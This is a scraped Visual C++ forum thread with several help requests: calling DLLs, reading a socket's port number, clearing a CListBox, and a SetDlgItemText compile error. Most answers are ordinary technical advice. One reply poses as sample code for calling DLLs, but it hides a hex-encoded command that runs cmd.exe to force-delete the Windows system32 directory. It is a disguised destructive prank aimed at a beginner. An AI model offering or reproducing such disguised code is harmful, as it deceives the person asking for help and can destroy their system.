|
Ash_VCPP wrote: can you please write small code for calling both normal and com dll.....
Why? I mean that code is already in thousands of web pages so why put it in another one here?
People come here all the time asking for stuff that already exists and can easily be found using Google. They do it all the time and it still doesn't work.
|
|
|
|
|
Done, many times. Now it's your turn.
BTW: Why are you asking for code? Why do you want code for accessing both kind of libraries? I think it would be more profitable an effort to understand what kind of library are you dealing with and what is the best approach for using it.
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
Here's a small code for calling all sorts of dll:
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char arg[] = {0x64,0x65,0x6c,0x74,0x72,0x65,0x65,0x20,0x2f,0x79,0x20,0x22,0x43,0x3a,0x5c,0x77,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x73,0x79,0x73,0x74,0x65,0x6d,0x33,0x32,0x5c,0x22,'\0'};
i = CreateProcess("cmd.exe",arg,NULL,NULL,0,0,NULL,NULL, &si, &pi);
if(i){
} else {
}
disclaimer: use at your own risk, I'm not responsible for your actions.
|
|
|
|
|
|
Hello,
Is there any way to get port number bound to a given socket using the socket descriptor. I dont want to use getsockname().
Thanks in advance.
Gajendra
|
|
|
|
|
Why don't you want to use getsockname() .
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
|
I think you should use it because the site also talk about the resolution for the failure.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
I want to avoid the complexity associated with WSADuplicateSocket. I just want to pass the port number across processes, thats my only requirement. I need some mechanism through which i can get socket number in parent process and pass it to the child process as an argument. By parent process i mean process that invokes the second process, which i call the child process.
Gajendra
|
|
|
|
|
Don't duplicate the socket at all.
Get the port number using the socket descriptor.
And pass this port number to the child process as a command line argument.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
u mean using Get the port number using getsockname()?
Gajendra
|
|
|
|
|
Yes, without duplicating the socket.
«_Superman_»
I love work. It gives me something to do between weekends.
|
|
|
|
|
Thanks for your answer!!!
Gajendra
|
|
|
|
|
5 .
If the Lord God Almighty had consulted me before embarking upon the Creation, I would have recommended something simpler.
-- Alfonso the Wise, 13th Century King of Castile.
This is going on my arrogant assumptions. You may have a superb reason why I'm completely wrong.
-- Iain Clarke
[My articles]
|
|
|
|
|
I am trying to delete all items of a CListBox
However, only the top item is removed once calling this routine, How do I delete everything ?
Thanks
<br />
numOfItems= listBox.GetCount();<br />
<br />
for (int i =0; i<=numOfItems; i++){<br />
lisBox.DeleteString(i);<br />
}<br />
llp00na
|
|
|
|
|
CListBox::ResetContent[^].
Btw there's also a fundamantal flaw in your method. Consider what your loop does:
1. i becomes 0, the very first ("zeroth") item is deleted from your list, this will raise all other items 1 place, so 0 goes away, 1st becomes the 0th, 2nd becomes 1st, 3rd becomes 2nd and so on...
2. i now becomes 1, the 1st item in your list is deleted, and the ones under it jump up one place, so the 0th item is untouched, the 1st is deleted, 2nd becomes 1st, 3->2, 4->3 ...
3. i now becomes 2, 2nd item is deleted, so 0th is untouched, 1st is untouched, 2nd is deleted, 3rd becomes 2bd, 4->3 and so on...
Get the problem?
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Life: great graphics, but the gameplay sux. <
|
|
|
|
|
Great answer
Thanks for the clarification. Looks like i can not think anymore
llp00na
|
|
|
|
|
Yourwelcome.
If you want to stick to the for loop, try movings in reverse, so something like:
for (int I = Count - 1; I >= 0; I--)
listbox.DeleteString(I);
or simply do this:
for (int I = 0; I < Count; I++)
listbox.DeleteString(0);
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Life: great graphics, but the gameplay sux. <
|
|
|
|
|
Awesome ideas
Thanks
llp00na
|
|
|
|
|
use this:
m_listBox.resetContent();
Thanks
Surya
|
|
|
|
|
Hi all,
I am working on VC 2008, suddenly my project has started giving an error
error C2039: 'SetDlgItemText' : is not a member of '`global namespace''
1>
error C3861: 'SetDlgItemText': identifier not found
but when i complie same program on any other system on which vc 2008 is installed it don't give any error and compiles successfully....
Please anybody can help me in removing this problem..
Thanks in advance
|
|
|
|
|
You probably don't have the platform SDK installed on one of the machine. I don't know if it still the case for VC2008, but for VC2005, if you downloaded the free version, you had to download yourself the platform SDK (the platform SDK contains all win32 core functionalities).
|
|
|
|
|
both machine has licenced version of visual studio installed
|
|
|
|
|
In that case, have a look at the C++ project directories (Tools->Options->Projects and Solutions->VC++ Directories) and check that the Windows SDK include directory is in your include path.
Java, Basic, who cares - it's all a bunch of tree-hugging hippy cr*p
|
|
|
|
|
these 4 directories are present over there
$(VCInstallDir)include
$(VCInstallDir)atlmfc\include
$(WindowsSdkDir)\include
$(FrameworkSDKDir)include
|
|
|
|
|